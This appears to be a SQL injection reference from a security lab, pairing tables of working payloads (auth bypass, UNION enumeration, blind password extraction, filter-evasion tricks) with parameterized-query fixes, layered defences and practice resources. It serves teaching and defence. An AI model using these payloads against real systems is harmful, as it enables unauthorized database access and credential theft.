A practical reference for SQL injection — common payloads, bypass techniques for naive filters, DB-specific syntax, and the actual fixes.
| Goal | Payload |
|---|---|
| Test if injectable | ' or " or ; or \ |
| Bypass auth (most common) | ' OR 1=1 -- |
| Bypass auth (balanced quotes) | ' OR '1'='1 |
| Comment rest of query | -- (SQLite/PG/MySQL), # (MySQL), /* */ |
| Login as specific user | admin' -- |
| Confirm column count | ' UNION SELECT NULL,NULL,NULL -- (try 1, then 2, then 3...) |
| Find string-compatible columns | ' UNION SELECT 'a',NULL,NULL -- |
| List tables (SQLite) | ' UNION SELECT name,sql,type FROM sqlite_master -- |
| List tables (MySQL) | ' UNION SELECT table_name,NULL,NULL FROM information_schema.tables -- |
| List tables (PostgreSQL) | ' UNION SELECT tablename,NULL,NULL FROM pg_tables -- |
| List columns (MySQL) | ' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users' -- |
| DB version (SQLite) | SELECT sqlite_version() |
| DB version (MySQL) | SELECT version() or @@version |
| DB version (PostgreSQL) | SELECT version() |
| Boolean blind extraction | ' AND substr((SELECT password FROM users LIMIT 1),1,1)='a' -- |
| Time-based blind (MySQL) | ' OR IF(1=1, SLEEP(5), 0) -- |
| Time-based blind (PostgreSQL) | '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END -- |
| Filter | Bypass |
|---|---|
| Strips quotes | Hex/char encoding: CHAR(97,100,109,105,110) = "admin" (MySQL), or 0x61646d696e |
| Strips spaces | Use comments as separators: '/**/OR/**/1=1-- or tabs/newlines |
Strips OR / AND | Use || and && (MySQL), or case variations oR, aNd |
Strips UNION SELECT | UNION ALL SELECT, UNION/**/SELECT, or nested: UNUNIONION SELSELECTECT (one strip → valid) |
| Strips keywords once | Nest them: SESELECTLECT → after one strip becomes SELECT |
| Blocks specific functions | Use synonyms: SUBSTR/SUBSTRING/MID, SLEEP/BENCHMARK |
Quote escaping (e.g., \') | Backslash poisoning: \ escapes the escape, breaking the string. Or use no quotes at all with CHAR(). |
None of the bypasses above matter if you use parameterized queries. That's the whole point. All of these are language-specific examples of doing it right:
# Python sqlite3 / psycopg2 / mysql-connector cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (u, p)) # SQLAlchemy session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) # Node.js with mysql2 conn.execute("SELECT * FROM users WHERE id = ?", [user_id]) # PHP PDO $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute(['id' => $user_id]); # Java with PreparedStatement PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); stmt.setInt(1, userId); # C# / .NET using (var cmd = new SqlCommand("SELECT * FROM users WHERE id = @id", conn)) { cmd.Parameters.AddWithValue("@id", userId); }
Where you can't parameterize — column names, table
names, and ORDER BY directions can't bind through most drivers. For these, use a
strict allowlist:
ALLOWED_SORT = {"created_at", "name", "price"}
sort_col = request.args.get("sort", "created_at")
if sort_col not in ALLOWED_SORT:
sort_col = "created_at"
query = f"SELECT * FROM products ORDER BY {sort_col}" # safe — sort_col is from a fixed set
| Layer | Why |
|---|---|
| Parameterized queries | The actual fix. Everything else assumes this fails. Don't skip. |
| Least-privilege DB user | Web app's DB user shouldn't have DROP, shouldn't read tables it doesn't need. Limits blast radius. |
| Hash passwords (argon2id/bcrypt) | If injection still happens, attackers get hashes, not plaintext. |
| Generic error pages in production | Never leak exception traces. Log server-side, return "Something went wrong" to client. |
| Input validation by type | If a field is supposed to be an integer, parse it as one early. Reject non-conforming input before it reaches the DB layer. |
| WAF + monitoring | Last line, not first. Detects anomalous query patterns. Useful for catching attempts in logs even when defenses hold. |
| Stored procedures (carefully) | Procs that internally use dynamic SQL with concatenation are just as vulnerable. Procs alone are not a defense. |
.raw(), .execute(), text()). Those are foot-guns.| Tool | What it does |
|---|---|
| sqlmap | Automates everything in this lab and a thousand more techniques. The standard. |
| Burp Suite | Intercepting proxy. Repeater + Intruder are the standard manual testing workflow. Community edition is free. |
| OWASP ZAP | Free Burp alternative. Good active scanner. |
| PayloadsAllTheThings (GitHub) | Massive payload reference for SQLi and every other web vuln class. |
| PortSwigger Web Security Academy | Free, structured, excellent. Best place to practice legally after this lab. |
| HackTheBox / TryHackMe | Practice CTF environments with progressively harder challenges. |